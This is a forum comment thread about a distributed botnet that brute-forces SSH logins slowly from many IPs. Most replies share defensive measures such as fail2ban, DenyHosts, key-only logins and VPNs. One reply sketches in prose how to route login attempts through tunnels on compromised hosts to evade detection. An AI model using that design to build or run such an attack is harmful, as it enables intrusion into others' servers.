      In the past, brute force SSH attacks have always been obvious. Typical hit and runs. One host will spew hundreds or thousands of attempts at a target, typically in quick succession, typically focusing on system accounts, and typically trying a shitload of passwords against each account. Firewalls and IDS deployments far and wide will now easily detect (and often block) these attacks immediately because they're so easy to recognize.

      This attack is very different. It's not targeting system accounts, it's hoping to get lucky against a vast list of potential userland lognames. It's only trying once or maybe twice per account. And it's distributing these attempts, round-robin style, across an impressive number of sources, with enough logic so that bot B will not attack host H unless all other bots in the network have sequentially exhausted their "token" attempt on host H.

      What we're seeing is flying under the radar of a shit-ton of IDS/firewall implementations, and is harder to fight.

      I would love to get my hands on the C&C database being used to coordinate all of this. Much as I hate to admit it, the architecture of this attack is unique and innovative, and I'd like to see what makes it tick.

      --
      Thanks to the War on Drugs, it's easier to buy meth than it is to buy cold medicine!
    5. Re:Nothing new, move along by yuna49 · · Score: 1

      It seems to me you could accomplish the same thing without such a complex architecture. I'd build an intrusion robot that iterates over usernames and target IPs and sends each request out via a different compromised host. Imagine setting up TCP proxies or VPN tunnels on each compromised machine that connect it to hundreds of other compromised machines. Then the robot is assigned a target address to which it starts making ssh login attempts via the tunnels. After a while it switches to another target IP and begins iterating over usernames again. Someday in the future it resumes the attack on the original target with the next username in the list. You could further obfuscate your attack by routinely setting up a whole new array of tunnels every day.

      This method seems to avoid the need to pass tokens around and fulfills your requirements. Maybe I've missed something?

    6. Re:Nothing new, move along by mcrbids · · Score: 1

      I just don't get what the big deal is. Bad? Yes. New? NO!

      I write network applications for a living. This type of coordination with a large number of hosts is precisely the kind of thing that I write professionally. While it takes some work to get this kind of coordination in place, it's probably a man-week with standard tools and commonly available information for somebody who understands how to write network applications.

      Years ago (2002?) I saw similar behavior in what I called a "spam attack". I was the sysadmin for a small-mid sized ISP. (about 10,000 clients) I witnessed behavior exactly like this delivering SPAM. It would come in waves, over a 4-6 hour period, clearly targeting addresses on our mail server cluster. I logged thousands of IP addresses over this 4-6 hour period. And then, after a half day or so, it would just... stop.

      With this many IP addresses, it's pretty obvious that the 3 Mb dual-bonded T1 bandwidth that the mail cluster was on could be DDOS'd trivially. Yet other than an occasional perl-based IRC client bot uploaded by some client's vulnerable script, DDOS attacks of any kind were pretty rare.

      BTW: Greylisting killed these spam attacks deader than dead. Blocked virtually everything in a spam attack so effectively that the load on the mail cluster didn't rise even noticeably. Our mail cluster ran Qmail-LDAP, so to get greylisting to work we had two sendmail/greylisting relays as the primary MX, which then relayed in to the mail cluster. (which had no MX published for it) Although the greylisting relays were just cheap hardware, we had to bump up the RAM since the Greylisting database (kept in RAM) grew to be pretty large.

      If you are curious: http://hcpnet.free.fr/milter-greylist/ I use it to this day, because it's virtually zero administration and it works very, very well.

      --
      I have no problem with your religion until you decide it's reason to deprive others of the truth.
    7. Re:Nothing new, move along by csartanis · · Score: 1

      Across thousands of bots, each one at any given moment is able to determine:

      I doubt that very much. Each bot is connected to one of many control servers, the attacker has a script running on his machine picking a random bot and telling it to attempt a connection to the specified host with the specified username.

    8. Re:Nothing new, move along by Anonymous Coward · · Score: 0

      Well, have you?

    9. Re:Nothing new, move along by Anonymous Coward · · Score: 0

      Not really a new idea at all.

      Ever read Neuromancer by William Gibson? He outlines the idea of a slow attack employing exactly this type of technique.

      Except in his fiction, the attacker would not be dumb enough to try alphabetically.

      The general idea was to probe & infiltrate the security system in such a slow, random fashion that the security doesn't know it's being attacked at all.

  11. Go install fail2ban by victim · · Score: 2, Informative

    fail2ban will watch your log files and when it sees probing will firewall ban the offender. It has virtually eliminated probing attacks on my networks of machines. Sure, a distributed botnet can still probe you, but I haven't seen that happening.

    Do be careful though...

    • Have two different IPs you can come from. You will eventually ban yourself by being stupid. It took me a year, but I finally banned myself while working on some backup scripts.
    • It is written in python and uses 3M of RAM plus maybe 20M more virtual memory. Sure, you high end gamers have 100 times that in your video card alone, but if you are running on a 64M VPS or a 32M router it is something to think about.
    • You can have it watch much more than ssh if you wish.
    • If you forward the syslogs of all your machines to your firewall and run fail2ban out there you can protect all of your machines at the first transgression and only have to manage one copy of fail2ban.
    • If you are running virtual servers, consider running their syslogs out to the host box and running fail2ban there. Works well.
    • There should be a memory efficient alternative, maybe I'll have to write that.
    1. Re:Go install fail2ban by Anonymous Coward · · Score: 0

      How does it handle spoofing? Because if someone figures out you're running it they can have all sorts of fun.

    2. Re:Go install fail2ban by RayMarron · · Score: 1

      See kithrup's reply above why banning an IP won't work in this case:
      http://it.slashdot.org/comments.pl?sid=1048609&cid=25967199

      --
      ON DELETE CASCADE
    3. Re:Go install fail2ban by X0563511 · · Score: 1

      Denyhosts does the same thing, but has a global synchronization method. If one person using the sync feature bans someone, they all do.

      It only works for ssh though. fail2ban is flexible enough to monitor anything and do anything, in response to any pattern. Pretty damned powerful really.

      --
      For large sets, this will be our guide even unto death, for the LORD will work for each type of data it is applied to...
    4. Re:Go install fail2ban by Yath · · Score: 5, Informative

      Please read more of the article before posting. The activity being described is a brute-force SSH login attack that is distributed across a botnet.

      (Yes, the title of the article is misleading, as botnets are by definition distributed; the interesting bit is that SSH brute-force attacks against a specific host don't seem to have been distributed before.)

      Here's the relevant bit:

      See for example the attempts to log on as the alias user, 14 attempts are made from 13 different hosts, with only 70-46-140-187.orl.fdn.com trying more than once. Then thirteen attempts are made for the amanda user, from 13 other hosts.

      fail2ban is not effective against this.

      --
      I always mod up spelling trolls.
    5. Re:Go install fail2ban by MichaelSmith · · Score: 1

      There should be a memory efficient alternative, maybe I'll have to write that.

      Mine uses 53 lines of ksh.

    6. Re:Go install fail2ban by profplump · · Score: 1

      Only if you have it monitor unidirectional traffic -- it's pretty hard to spoof TCP because the connection doesn't open until you send packets in both directions. A TCP spoofer needs to be able to see and inject packets that are being routed along legitimate paths, which essentially means they need to be on the local network at your end or the local network of the legitimate remote host.

      And if someone is on your local network attacking you an IP-based block won't work not matter what you do.

    7. Re:Go install fail2ban by Anonymous Coward · · Score: 0

      Someone else already mentioned it, but running ssh on a non standard port solves all your worries.

      Sure an attack with some port probing and fingerprinting first will find the ssh port, but the normal kind of attacks that happen right now are blocked by that.

      Probing went down from up to a few thousands a day to zero.

    8. Re:Go install fail2ban by ShaunC · · Score: 2, Informative

      While it's been pointed out that fail2ban isn't effective against this particular attack, I wanted to point out a similar utility called BruteForceBlocker.

      It was written as a reactive firewall that parses pf logs on OpenBSD and FreeBSD (pf is "the iptables of BSD"). The coolest feature IMO is that it's a community effort, in that each participating host can elect to share its logs with a centralized server. That server then publishes a list of recently reported SSH attackers which you can script into your firewall rules, even if you aren't running the client. It's like a Vipul's Razor for SSH bruteforce reports.

      Since I still use ipfw instead of pf on FreeBSD, I rolled my own implementation, but it still contributes back to the master database of recent attackers.

      As an aside, for those who aren't familiar with DShield, it's a community effort where thousands of people submit their IDS logs to create aggregate statistics about intrusion attempts worldwide. And if you happen to run FreeBSD with ipfw as your firewall, check out FreeBSDShield, my DShield reporting client for FreeBSD.

      --
      Thanks to the War on Drugs, it's easier to buy meth than it is to buy cold medicine!
    9. Re:Go install fail2ban by Anonymous Coward · · Score: 0

      What we ended up doing was setting up a honeypot VPS on our nodes and just threw SSH and pureFTPD on it. Since our VPS software (virtuozzo) allows us to access the filesystem without any extra magic we simply had fail2ban running on the node side and was told to read the logs from the VPS.

      Since the VPS would never ever see any real SSH connections we set it to ban on the very first failed login attempt.

      using just IPtables may not work as we found out recently so what we ended up doing was making our own action.d that applied nullroutes to the attacking IP, making the attacks stop instantly.

    10. Re:Go install fail2ban by Trogre · · Score: 1

      I am undergoing the same kind of attack here, with what looks like the same dictionary. Fail2ban has picked up some 600 hosts, for about 3000 attempts. So it's not useless for all botnet attacks.

      --
      "Nine times out of ten, starting a fire is not the best way to solve the problem." - my wife
  12. ssh login attempts by Anonymous Coward · · Score: 1, Informative

    I've seen these for years also as knarf has. I had one account compromised (due to a weak password.) What they use is an app that goes through a wordlist of usernames with a shorter list of passwords tried for each username (it was copied onto my system along with a few RIDICULOUSLY ANCIENT rootkits, like 1994 vintage...) It is not equipped to spread automatically, though, everything appears to have been copied over and executed manually. There was an irc program (which would not be able to execute, it was old enough to need like a.out and libc4!) it appears it could have been run to leave the intruder an irc-based backdoor (not a very good one since it wouldn't survive a reboot...), but did not have any sort of conventional botnet functionality.

  13. Easy was to stop 90% of SSH attacks by TrashGUY · · Score: 0

    I just block ssh access from anything with .ch .kr or .ru

    1. Re:Easy was to stop 90% of SSH attacks by geekgirlandrea · · Score: 5, Funny

      Yeah, because Switzerland is such a notorious source of attacks. I think you meant .cn.

    2. Re:Easy was to stop 90% of SSH attacks by X0563511 · · Score: 2, Interesting

      Most of my attackers come from residential services all over the USA and UK, or don't resolve to an address at all. Those domains would be an exception.

      --
      For large sets, this will be our guide even unto death, for the LORD will work for each type of data it is applied to...
    3. Re:Easy was to stop 90% of SSH attacks by damn_registrars · · Score: 1

      I just block ssh access from anything with .ch .kr or .ru

      I would say that in my logs >>99% of addresses don't resolve to anything and show up numeric only.

      --
      Damn_registrars has no butt-hole. Damn_registrars has no use for a butt-hole.
  14. Very interesting; this bypasses my auto-banning fw by Khopesh · · Score: 3, Interesting

    I use Fail2ban on all of my iptables-based SSH servers, as it eliminates the possibility of brute-force attacks from single IPs (fail2ban will ban any IP with five failed ssh logins in a ten minute period. The ban vanishes after ten minutes).

    However, this new botnet attack distributes the attack over the IP-space and time. That bypasses fail2ban!

    The only solution I can see to this would be to take an approach similar to the centralized spam-fighting solutions; a DNSBL specialized for brute-force botnets. You run something that monitors your logs for failed logins (with a large scope for time, say ten failed attempts in a month). When an IP triggers it, you block that IP for a month and report it to the DNSBL. The DNSBL operates like Spamcop, trying to verify the nature of the IP (and trying to address the issue), then adding it to the blocklist. Anything listed on a DNSBL gets permanently blocked after one failed authentication, and if your internal list grows too big, any positive IP gets blocked before the login attempt.

    --
    Use my userscript to add story images to Slashdot. There's no going back.
  15. Portknocking by Pvt_Ryan · · Score: 3, Interesting

    Like the OP I was getting loads of hits on port 22. I just setup portknocking and it works a treat.. My other system that I use ssh on (its on the a sub domain of my main site) I just moved to a higher port and that has prevented it from getting the hits..

    Normally I don't recommend Security through obscurity but in the case of automated attacks it is worth while. Just don't rely on it alone.

  16. Nothing new here: use DenyHosts by skeeto · · Score: 2, Informative

    These sorts of attacks are nothing new. If you are running an SSH server directly accessible from the Internet, check your /var/log/auth.log log sometime. You may be alarmed by the surprisingly large number of attacks you get every day, even if it is your home IP with no sort of domain name associated.

    I like to run DenyHosts on my machines, which watches this log file and adds suspicious IPs to your /etc/hosts.deny. I generally have several new IPs added daily. Also disable remote root logins, because then the attacker has to guess a username and a password: an extra few bits of security (they try "root", then go on to "tester", "tester1", ... , "guest", "guest1", etc.). And, of course, use strong passwords for SSH accounts. In your logs you will find attackers employing dictionary attacks (which DenyHosts will quickly cut off).

    1. Re:Nothing new here: use DenyHosts by oGMo · · Score: 2, Informative

      Screw that... I went pubkey-only from any directly-exposed hosts awhile ago. Works great. I keep my Blackberry's MidpSSH key on the hosts, then in an emergency I can log in and add a new key if necessary. Plus if people want an account they can just send in a pubkey and I don't have to communicate a password.

      --

      Don't think of it as a flame---it's more like an argument that does 3d6 fire damage

    2. Re:Nothing new here: use DenyHosts by Anonymous Coward · · Score: 0

      > I like to run DenyHosts ...

      The point of these new distributed attacks, is that DenyHosts won't normally detect them. That's the scarey part, and is why we recommend disconnecting SSH from outside access by default now.

      A doorknocker sequence can be used to enable it for a one-shot one-IP access for 10 seconds at a time on a random port (or even on a single port).

      This kind of protection makes it much harder to even discover that SSH is available, and pretty much defeats the new attacks.

      Combined with certificate logins, it leaves things fairly safe again. For now..

    3. Re:Nothing new here: use DenyHosts by Sancho · · Score: 1

      Distributed attacks require distributed defenses. Newer versions of Denyhosts let you synchronize your block lists with other Denyhosts users. It's really quite excellent.

    4. Re:Nothing new here: use DenyHosts by lawaetf1 · · Score: 1

      DenyHosts has a default memory time for failed logins of something like 5 days by default. Are you suggesting that a botnet would have enough members to make a meaningful brute force attack when each member can only make three tries in a five-day span? Seems not so plausible.

      --
      CommentBot 0.7a running with args "-module irritate,disagree -target random"
  17. Solution - disable root ssh login, password auth by Khopesh · · Score: 4, Informative
    I forgot to mention my over-arching solution:
    1. Disable root access: in /etc/ssh/sshd_config, set PermitRootLogin no
    2. Disable password access (require ssh keys!): in /etc/ssh/sshd_config, set PasswordAuthentication no
    3. Use an auto-banning solution like Fail2ban to limit attacking traffic and save bandwidth

    SSH keys ensure that you're virtually immune to attacks, since the attack now MUST be brute-force (or break the RSA/DSA algorithms or compromise the server itself rather than an account), and must crack a "password" of over 150 base64 characters representing the 1024 bits of entropy in the key; a completely random printable password of 20 characters has 130 bits of entropy and an 8-word Diceware passphrase has only 120; you're not brute-forcing that.

    Preventing root from accessing remotely is just smart (your logs can show who really logged in, your sudo logs show who needed root-level access and when, and you can auto-ban root logins immediately rather than after a set number of failed authentications).

    All we're missing is the extension to #3 to handle distributed attack failures (as proposed by the parent post); with the proper protections, this is a bandwidth issue rather than a security issue (unless you're worried about DDoS, but we're talking about low-intensity attacks here).

    For those of you stuck permitting passwords, you'll want something like John the Ripper to brute-force users' insecure passwords before the enemies do. This way you can disable their accounts when you find that they are vulnerable and force them to change their password to something more secure.

    --
    Use my userscript to add story images to Slashdot. There's no going back.
  18. ssh -p !22 by jannesha · · Score: 1

    I got pissed off with the rattling of my ssh doorknob years ago and moved it off of port 22. It's not that hard. The only downside is having to remember (and type) the port number.

    Now my logs are nice a quiet and I'm the only username who ever even tries to connect. Not the solution for Enterprise, but it works at home.

    1. Re:ssh -p !22 by _LORAX_ · · Score: 2, Informative

      .ssh/config

      Host hostname
          Port yourport

      then you can ssh to hostname and not have to type the port everytime.

  19. Change SSHd port by mmxsaro · · Score: 1

    This is easy to do and will thwart kiddies/botnets off, just change the SSHd port to something else other than 22. Unless your server is being targeted directly (they'll nmap you...) this will stop most mass-scan brute-force attacks.

    Repeat the above for FTPd, too.

  20. IPtables rate limiting is better by flyingfsck · · Score: 1

    Actually, a simple one line IPtables rate limit on port 22 new connection attempts (or whichever port you use for SSH is better than Fail2ban or Denyhosts, because it will never lock yourself out.

    I suspect that the author has such a limit on his firewall machine and that it is the reason why he sees the slow attack rates and that the slowness has nothing to do with the attackers!

    --
    Excuse me, but please get off my Pennisetum Clandestinum, eh!
    1. Re:IPtables rate limiting is better by Sancho · · Score: 1

      Most of the time, these limits are by source IP-address. This new attack self-limits the rate of connections from a single IP address, and instead hits the same destination from multiple sources. Rate limiting globally will work here, but will mean that legitimate SSH connections will be slowed down.

  21. Same time, same logins by Anonymous Coward · · Score: 0

    The interesting thing is that, since Nov 23 06:48:34, I'm getting the exact same login names at virtually the same times as mentioned in TFA. This is in the 77.248.x.x netblock, the Netherlands. Anybody else noticing the same?

    -JAB

  22. Weak SSH keys by kabloom · · Score: 1

    Wait until they combine this with Debian's 2^16 weak ssh keys. Do you think that will be easier or harder to crack than passwords?

  23. Re:Solution - disable root ssh login, password aut by maxume · · Score: 1

    It might make more sense to try to notice tens of thousands of attempted log ins to a single account and then do something proactive about that (I realize that this is less proactive than attacking user passwords, but it has the advantage of not requiring bothering them).

    --
    Nerd rage is the funniest rage.
  24. This attack must balance reward and risk. by dweller_below · · Score: 2, Interesting

    This is not a game changing tactic. My institution has documented these style attacks on several past occaisions. There was some of this going around near the 4th of July. There was an extended bout this time last year. The attackers only use this tactic a few times a year. We have come to expect it on major holidays.

    Economics can not be ignored. This attack must balance reward and risk.

    In a normal SSH password guessing attack, the attacker risks a handful of computers. The committed computers do very noisy attacks and are probably lost to him.

    In this SSH attack, the attacker risks hundreds of computers. This only pays off if the possibility of detection is greatly reduced or if the reward is greatly increased.

    Fortunately, it is easy to detect this attack, and identify the attacking computers. You can use Cisco netflow data to characterize and identify the attackers. You can also identify the attackers with a SSH honeypot.

    My institution takes the effort to document these attacks and report the attacking computers to their ISP's. It doesn't always work, but it works often enough to change the economics of attack. And each reported attacking machine is a possible pointer back to the hacker. Plus, it is the right thing to do.

    Miles

  25. Run ssh on a non standard port by kbahey · · Score: 2, Informative

    One of the effective ways to not worry about these probes, is to run your ssh daemon on a non standard port.

    So, instead of it being on port 22, run it on port 1022 or some other port.

    You can do that by modifying your /etc/ssh/sshd_config to contain the line: Port 1022.

    This means that scp and ssh will have to be told about the port on the command line though.

    1. Re:Run ssh on a non standard port by nullchar · · Score: 1

      One major annoyance with the non-standard port is the port flag option passed to both SSH and SCP.

      For ssh: ssh -p2222 ...
      For scp: scp -P2222 ...

    2. Re:Run ssh on a non standard port by MasterMnd · · Score: 2, Informative

      <quote><p>
      One major annoyance with the non-standard port is the port flag option passed to both SSH and SCP.
      </p></quote>

      cat >> .ssh/config
      host <somehost>
        Port 2222
      ^D

      Fixed!

    3. Re:Run ssh on a non standard port by Anonymous Coward · · Score: 1, Informative

      Annoying?

      >alias sshserver ssh -p2222 server

      After only 16 logins you will start to reap the benefits of having to type one blank space less each time you log in. I mean, how good is that!

      For additional benefits you may choose a shorter alias and start to reap an even greater benefit, as you will save even more keypresses.

      Just think of the time you will be saving! Time better used to find other things to get annoyed at!

  26. Time to switch to SSH keys and ban password auth by caseih · · Score: 1

    I switched to only allowing keys a long time ago. This stops this attack dead, whether it is distributed or not. If I ever lock myself out, or use a computer where I don't have any keys already set up, I have a special, password-encrypted key that I can access over an authenticated https url.

    On my VPS I took advantage of SSH's new configuration features to disable password authentication for outside connections, but allow password for connections coming from within my wide-area private network (openvpn rocks!). But with the stored, accessible, ssh key on the server itself, I rarely need to use a password directly, ever.

  27. Re:Very interesting; this bypasses my auto-banning by multipartmixed · · Score: 1

    If that product use the recent target, be careful what kernel you use it on. You'll find that after a few weeks the damned target starts matching stuff it shouldn't and you might lock yourself out of your server. IIRC the expiry time winds up becoming infinite.

    Don't worry, it's a documented bug somewhere, and recent kernels aren't affected. 2-year-old kernels are for-sure though. I just can't remember the precise details; I've been bit by it trying to throttle SMTP.

    --

    Do daemons dream of electric sleep()?
  28. Fail2Ban by maz2331 · · Score: 1

    I run fail2ban on every Internet-facing machine that I set up and/or manage. The policy I use is that 5 failed logins results in an iptables ban from any access to the box for 24 hours.

  29. pf solves by Anonymous Coward · · Score: 0

    table persist file "/etc/pf.blacklist"

    block drop in log quick on $ext_if from

    pass in on $ext_if proto tcp from any to ($ext_if) port ssh \
                    flags S/SA keep state \
                    (max-src-conn-rate 6/60, overload flush global)

  30. I've Noticed It, Too by ewhac · · Score: 1
    I run a FreeBSD box at the end of an ADSL line. Normally I would see a handful of SSH attempts. On a bad day I'd see a couple hundred. This last week, I've seen upwards of 1500 per day, all coming from different IP addresses. It's a straight dictionary attack, moving through in dictionary order. I think I'm in the G's right about now...

    I long ago installed 'bruteblock' on my box, which plonks an IP address for N minutes after X failed attempts (both configurable). It's very small and efficient. But this obviously does nothing for distributed attacks. I should probably move the SSH port for a couple weeks... *sigh*

    Schwab

  31. yes new by Anonymous Coward · · Score: 0

    The distributed attacks get past normal security measures which watch for attacks from a single IP.

    So...something new.

  32. Mail Admins like me are used to this already. by TheNarrator · · Score: 1

    For about the last 2 years I Have been getting continuously hit with botnet hosts every 2 minutes trying every conceivable email address@mydomain. I tried writing a rule to autoblock them with iptables but the list grew into the 10s of thousands and slowed down my machine. I put a greylist on it and now they get greylisted but they keep coming and coming and coming. There must have been more than a million greylisted email attempts over the preceding two years. Far more than the amount of legit mail I get.

  33. Lots of poor "solutions" here by monkeySauce · · Score: 1

    Pretty lame, people.

    Move sshd to another port?
    Obscurity.

    Rate limiting?
    IP-based bans on failed logins?
    Elaborate username based bans?
    All reactive solutions.

    Portknocking?
    A more complex obscurity tactic, but very weak as an extra authentication layer.

    TFA mentions ssh public key auth, and disabling password authentication. That would be much better/more effective than anything mentioned here.

    If you're serious about security, then you aught to actually add another layer. Firewall off ssh completely and require a VPN connection first. eg: http://openvpn.net/

    1. Re:Lots of poor "solutions" here by Ant+P. · · Score: 1

      Firewall off ssh completely and require a VPN connection first

      Just another layer of obscurity.

    2. Re:Lots of poor "solutions" here by monkeySauce · · Score: 1

      No, I didn't say PPTP VPN. :P

      I'll assume you are asking to be educated rather than just being a troll or a snarky bastard.

      Preventing direct access to ssh by requiring a successful connection to a VPN first is in fact an additional layer of security. You cannot attempt to login via ssh unless/until you first make it through the VPN. You now have two authentication mechanisms to traverse in order to gain access to the system, instead of one.

      If you were dumb enough to setup a VPN that uses the same authentication credentials as the ssh server, then I suppose you could call that obscurity. OpenVPN (which I linked to) doesn't support that kind of stupidity. I assumed that people would understand I was talking about a properly implemented VPN, not something setup by your cousin's goldfish.

  34. Surprise, surprise by gzipped_tar · · Score: 1

    So we are still user password-based SSH authentication?

    --
    Colorless green Cthulhu waits dreaming furiously.
    1. Re:Surprise, surprise by ShaunC · · Score: 2, Insightful

      So we are still user password-based SSH authentication?

      The problem is that in any sort of working environment, where you have a very heterogeneous user base, it's really really hard to enforce anything else.

      Users - even the most basic of users - can be trained to enter a username and a password. They do it on Hotmail, they do it on Google, they do it on MySpace, they're used to the idea that when they want to login somewhere, they have to enter a username and a password. "That's how the internet works." So when their job functions require that they PuTTY into a box and make a couple choices from a shell-script menu, training them to enter a username and password is no big deal. Getting them to wrap their brains around a different authentication scheme is very difficult, even if your user base is fairly adept. Trying to set it all up for them is beyond the scope of most IT departments.

      I've come to use passwordless key-based auth for ssh, but not so much for security as for convenience. I share a single DSA key across 6 or 8 machines because it's damn easy to generate a key on one box, append it to ~/.ssh/authorized_keys2 on all of them, and forget all about it from there on out. ssh just works. svn just works. rsync just works. You create your key and make it common among your systems, everything is...fluid. But try convincing someone who isn't a sysadmin, and doesn't have to deal with multiple machines, and doesn't use other applications that tunnel on top of ssh, that there's a benefit to setting up "weird encryption key stuff."

      I have a 1u (personal, non-work-related) server in a colo facility. There are fewer than 10 users, all close friends, all tech savvy, all CS/IT types. Even with this very specialized audience, I couldn't convince all of them to switch to key-based auth; if I disabled PasswordAuthentication, I wouldn't hear the end of it. Temporarily moving sshd to a different port was hard enough. I can't even begin to imagine the hell that would ensue if they suddenly went key-based only at work.

      --
      Thanks to the War on Drugs, it's easier to buy meth than it is to buy cold medicine!
  35. Re:Very interesting; this bypasses my auto-banning by ShaunC · · Score: 2, Informative

    The only solution I can see to this would be to take an approach similar to the centralized spam-fighting solutions; a DNSBL [wikipedia.org] specialized for brute-force botnets.

    Damn! I just posted about this as a reply to a previous thread, and it definitely belongs here instead.

    Anyway, check out BruteForceBlocker, it's exactly what you describe, but it's implemented as a plaintext list instead of a DNSBL. Hosts using BruteForceBlocker can report attacks back to the central server. The list of recently reported attackers is public.

    It's meant for BSD variants using the pf firewall, but I rolled my own implementation to parse FreeBSD ipfw logs (and report back) in a day or two. A daring volunteer could easily create a fork that works with Linux auth logs and iptables instead. Or set up a DNSBL that parses the list every hour or so and creates the appropriate zones.

    --
    Thanks to the War on Drugs, it's easier to buy meth than it is to buy cold medicine!
  36. Re:Very interesting; this bypasses my auto-banning by Khopesh · · Score: 2, Informative
    It appears BruteForceBlocker is a decent BSD implementation of fail2ban. However, it lacks the flexibility; from what I can see, all it does is notice a failed login and forever block the offending IP, which screws users who accidentally forgot to include the ssh key, or who used the wrong user name accidentally.

    Fail2ban actually bans the offending IP after several failed authentications within a small window of time, and the ban is only for a small window of time ... the purpose is not defensive for security, but rather for bandwidth preservation; it's okay for somebody to try a few pokes here and there, just not a flurry of them.

    The only bit that BruteForceBlocker has that fail2ban does not is that of the reporting and checking mechanism, which appears to be a recent addition. I don't see any indication that the blocklist is a well-groomed and up-to-date list, which is huge problem, as most of the IPs used by botnets are dynamic, and any one of them could be cleaned or re-allocated for legitimate use in the future. This lends itself to the same issues as your typical DNSBLs, which is why I proposed such a thing over a more generic blacklist.

    Given the issue with maintenance, I'd stay clear of that feature. It might be useful for sharing temporary blocklists between your own servers, but you must be sure to rotate them periodically so that they do not grow stale.

    That brings me to the next issue - efficiency. I don't know too much about the inner workings of pf or iptables, but if you have a poorly implemented filter hosting a lookup table with tens of thousands of IPs to check against, you're going to slow your system's entire internet traffic pipe considerably.

    --
    Use my userscript to add story images to Slashdot. There's no going back.
  37. compare usernames with IPs over time by Anonymous Coward · · Score: 0

    It would be unusual for most humans to attempt to login with the same username from different IPs during a short period (less than the standard shared IP lease time). So don't accommodate this exceptional behavior? If different IPs attempt a login to the same username more than n times over this many minutes, put up a temporary ban. This way a brute force attack would need to emit from the same IP, flushing the attack back into high visibility where the current fail2ban behavior provides some security.

    Can fail2ban cross-check usernames and IPs over time to enforce a rule like this?

  38. Got a Bot? Or Don't Know? by Anonymous Coward · · Score: 0

    This may help!

    (modding)

  39. interesting by n3tcat · · Score: 1

    I was wondering what those hundreds of failed ssh logins were from every day.

    I didn't really have any idea what was up, so I just changed my SSH port to 22222 and the problem went away.

  40. How to detect them by symbolset · · Score: 1

    Heuristics. They're an ancient art, but they can work.

    Also, default deny. It's annoying to answer the question, "Do you want to connect to x4rubotnet%a7b.ru?" but it's more annoying not to be asked. If your users have no legitimate reason to be accessing .cn, .ru or other .?? addresses there's no reason to configure your DNS to give legitimate returns for those as an organization. Likewise for the more vile quadrants of the IP space. For some networks it's better just not to ask.

    Sure, it causes a Balkanization of the Internet, but end users do the darnedest things, sometimes when they don't intend to. The unfortunate part about hyperlinks is that they are so easy to click. Corralling the Internet for them to sites in civilized territory is better than letting them wander off that cliff. Especially when their PC becomes a chain that drags the rest of your network over the cliff with them.

    Or (gasp!) you could run an OS that's less susceptible to following him off the cliff?

    --
    Help stamp out iliturcy.
  41. Knock, Costs by Anonymous Coward · · Score: 0

    Knock is an interesting suggestion. While in effect it isn't that much more than another password it has certain advantages:

    - potentially much more random than passwords using the full 65000 range against a lot of alphanumericals in typical passwords. Discourages dictionary attacks.

    - Adding firewall rules for hosts costs cycles both for the work and then potentionally for all further network traffic, exponentially. Using knock instead, while knock adds overhead it is linear. The firewall on its end can be set up to generally consume less resources to compensate. Knock offers better victim economics.

    - It combines well with keys, even if the key or the laptop it is on is stolen, the risk is limited (if the knock isn't recorded in bash history ...)

    On the flip side it is vulnerable to replay attacks, but replay attacks are somewhat costly and likely not found worthwhile if what they open is a ssh login prompt.

    Leading to my second point;

    The problem is that it costs very little for the client to try ssh passwords all day long. If the ssh logon needed you to solve increasingly complex challenges for each try, it could pose significant problem for botnet managers since it would make the bot slow down, possibly triggering response with the owner of the computer. It is tolerable to users to wait 5 seconds more for external ssh login, (even if it would be 30 seconds on an iphone).

    A possible third failed try challenge could be a sudoku puzzle, perhaps in a pdf form. Cheap to generate a reasonable batch of these. Would be preferrable to be locked out for users or admins. With some randomization it wouldn't checksum. Numbers could be gifs. Now obviously it wouldn't stop any determined attacker, but the cost of the attack would be up with a very high factor. And each success would only yield a very meager chance of a return on the investment.

    Perhaps a possible project for his grumppyness?

  42. OpenVPN anyone ? by DrBoumBoum · · Score: 1

    I'm surprised nobody seems to have mentionned OpenVPN. This is definitely to me the ultimate solution to any and all of these problems. Install an OpenVPN server on the host you want to expose to the outside; give an RSA key to anyone who want to access the site. They'll have to install an OpenVPN client though (very easy). Then they can have total secure access to any service you like on your system, not only remote login (e.g., database access, email, whatever). Nobody else will even be able to see the server (total blackhole).

  43. I may have found their source for targets... by damn_registrars · · Score: 3, Interesting

    I had seen this on my own system back in July for the first time, and it eventually went away. It kept up for some time, to the point where I decide to write a little script to watch who is trying to come in.

    Then it came back last month and I paid a little more attention to what I had been doing before. There was one significant thing that I did just before it (re)started:

    I placed an ad on craigslist that had a link back to my own server for information on what I was selling.

    We all know that of course the spamming botnets tend to troll craigslist looking for valid email addresses to add to their lists. I would say it appears that the botnets are now looking through craigslist for systems to attack as well.

    --
    Damn_registrars has no butt-hole. Damn_registrars has no use for a butt-hole.
  44. Re:Solution - disable root ssh login, password aut by damn_registrars · · Score: 1

    I don't think root login is the problem here (though I agree most reasonable admins disable it). Those of us with more detailed ssh logging will see that these distributed attacks are not attempting root anyways.

    As someone pointed out earlier, these attempts are usually doing a dictionary attack of common usernames instead. The general MO here is that for any user name from aaaaaaaa to zzzzzzzz from their list, some number of systems (usually 3-5) will attempt that user name, and then the botnet will move on to the next user name from the dictionary and repeat.

    By my logs, anyways, most hacking attempts have given up on root attempts and switched to this method instead. I have many, many, pages of ssh login failures from the botnet dictionary attempts, with just a few directed root attempts scattered in between.

    --
    Damn_registrars has no butt-hole. Damn_registrars has no use for a butt-hole.
  45. Re:Solution - disable root ssh login, password aut by Anonymous Coward · · Score: 1, Informative

    I see people miss this quite often, so I'll mention it here. If you are using a PAM-aware sshd (I think most distros are now), you MUST also set UsePAM no. Otherwise, PAM will still ask for a password despite your PasswordAuthentication setting. You may not notice since you've (probably) set up your ssh-keys already.

  46. Re: Set UsePAM no by Khopesh · · Score: 1

    Good call on that. It took me a while to figure that one out when Debian added PAM to the mix. Always test!

    --
    Use my userscript to add story images to Slashdot. There's no going back.
  47. Much ado about nothing by Zero__Kelvin · · Score: 1

    Great, so now script kiddies will be completely unable to penetrate my box, but they will fail miserably in a distributed fashion.

    Do you want to bet that the time it takes to brute force a well secured system in this manner is measured in the thousands of years to millennial range?

    --
    Guns don't kill people; Physics kills people! - John Lithgow as Dick Solomon on Third Rock From The Sun
  48. throttle ssh ? by Anonymous Coward · · Score: 0

    Isn't there a way to throttle new login attempts? There seem to be many solutions to limit access by source-IP, but none that would simply enforce a limit on the total number of new ssh connections accepted per minute. A limit on the overall connection rate along with a ten second delay in authentication would make even a distributed brute force attack impractical.

  49. Re:Very interesting; this bypasses my auto-banning by ABCC · · Score: 1

